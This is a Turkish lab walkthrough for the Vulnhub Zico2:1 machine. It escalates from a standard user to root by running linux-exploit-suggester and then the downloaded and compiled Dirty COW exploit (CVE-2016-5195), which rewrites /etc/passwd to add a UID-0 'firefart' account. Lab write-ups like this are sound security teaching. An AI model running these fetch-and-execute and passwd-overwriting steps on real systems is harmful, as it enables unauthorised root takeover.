Yazıda kullanılan Zico2:1 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/zico2-1,210/
Not: Sanal makinenin Virtualbox üzerinden çalıştırılması tavsiye edilmektedir.
Bu makineye aşağıdaki bilgiler ile SSH servisi üzerinden erişim sağlanabilir.
Kullanıcı Adı: zico
Parola: sWfCsfJSPV9H3AmQzw8
Linux işletim sistemine standart kullanıcı yetkisine sahip bir kullanıcı (zico) ile erişime sahip olunduğu görülmektedir.
id
grep -Ev “/bin/false$|/usr/sbin/nologin$” /etc/passwd
Sanal makinenin işletim sisteminin Ubuntu 12.04.5 LTS, çekirdeğinin de 3.2.0.-23-generic olduğu görülmektedir.
uname -a
cat /etc/*release*
Muhtemel hak yükseltme zafiyetlerinin listesi için linux-exploit-suggester isimli Bash betiği kullanılabilir.
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O /tmp/ZafiyetTespiti.sh
md5sum /tmp/ZafiyetTespiti.sh
İndirilen dosya çalıştırılabilir hale getirildikten sonra, çalıştırılır.
cd /tmp/
ls -la ZafiyetTespiti.sh
chmod +x ZafiyetTespiti.sh
./ZafiyetTespiti.sh
Not: Bu betiğin sadece kullanıcı uzayındaki istismar kodlarını listeleme (–userspace-only), sadece çekirdek uzayındaki istismar kodlarını listeleme (–kernelspace-only), CVE listesini parametre olarak alma (–cvelist-file <CVE Dosyasi>), çekirdek sürümüne göre pasif/uzaktan CVE listeleme (–kernel <Çekirdek Sürümü>), sistem bilgisine göre pasif/uzaktan CVE listeleme (–uname <“uname -a” Çıktısı>), çekirdek sıkılaştırma kontrolünü gerçekleştirme (–checksec) … gibi bir çok seçeneği vardır. Detaylar için Github sayfası incelenebilir.
https://github.com/mzet-/linux-exploit-suggester
İşletim sisteminin çekirdeğine göre bir çok zafiyet listelenir/filtrelenir. Zafiyetlerin tanımı, hangi Linux dağıtımına ait olduğu, istismara ait kod betik çıktısında belirtilmektedir. Örneğin, Zico2:1 sanal makinesinde CVE-2013-2094 ID’li zafiyetin olduğu 3 farklı istismar kodu başlığı ile belirtilmiştir. Mevcut dağıtım Ubuntu olduğu için son öneri görmezden görünebilir.
Not: CVE-2013-2094 ID’li zafiyete ait istismar kodlar sanal makinenin hizmet veremez hale gelmesine sebep olmaktadır. Bu sebeple, CVE-2016-5195 ID’li başka bir zafiyet istismar edilecektir.
linux-exploit-suggester betiği tarafından önerilen istismar kodları da stabil olmadığı için Expolit-DB üzerinden arama yapılabilir.
https://www.exploit-db.com/search/
“Linux Kernel 2.6.22 < 3.9 – ‘Dirty COW’ ‘PTRACE_POKEDATA’ Race Condition Privilege Escalation (/etc/passwd Method)” isimli CVE-2016-5195 ID’li zafiyete ait kod internetten indirilip çalıştırılabilir. İstismar işlemi ile /etc/passwd dosyasındaki “root” kullanıcısının adı “firefart” olacak ve parolası – betiğe verilen parametre (Aa123456) olacak şekilde – bu dosyanın içerisine yazılacaktır. Böylece “firefart” kullanıcısına geçiş (veya SSH erişimi) yapılarak, “root” yetkilerine sahip olunacaktır.
wget https://www.exploit-db.com/download/40839.c
gcc -pthread 40839.c -o HakYukselt -lcrypt
ls -la HakYukselt
./HakYukselt Aa123456
su firefart
id
Not: Dirty COW zafiyeti ile ilgili istismar kodları için github sayfası incelenebilir.
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
Böylece /etc/passwd dosyasında “firefart” adlı UID değeri 0 olan kullanıcının parolası Aa123456 olarak ayarlanmıştır. /etc/passwd dosyasının orijinali ise /tmp/passwd.bak olarak yedeklenmiştir.
cat /etc/passwd | head -4
cat /etc/passwd | tail -4
cat /tmp/passwd.bak | head -4
cat /tmp/passwd.bak | tail -4
Not: Linux-Exploit-Suggester betiği, Linux_Exploit_Suggester betiğinden esinlenilerek daha kapsamlı olacak şekilde hazırlanmıştır. Perl ile geliştirilen Linux_Exploit_Suggester betiğinde sadece çekirdeğe göre (./Linux_Exploit_Suggester.pl -k 3.0.0) pasif olarak (uzaktan) zafiyet keşfi gerçekleştirilmektedir. Linux_Exploit_Suggester betiğine de Github üzerinden erişilebilir.
https://github.com/PenturaLabs/Linux_Exploit_Suggester
VEYA
https://github.com/InteliSecureLabs/Linux_Exploit_Suggeste
Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:
- Dina: 1.0.1: https://www.vulnhub.com/entry/dina-101,200/
Kaynaklar:
https://pavornoc.wordpress.com/2017/11/10/vulnhub-zico2-walkthrough/
VulnHub: Zico2 Walkthrough
https://medium.com/@krankoPwnz/writeup-for-zico2-1-on-vulnhub-com-31b5a694e7ac
https://tiagotavares.wordpress.com/2017/12/25/zico2-vulhub/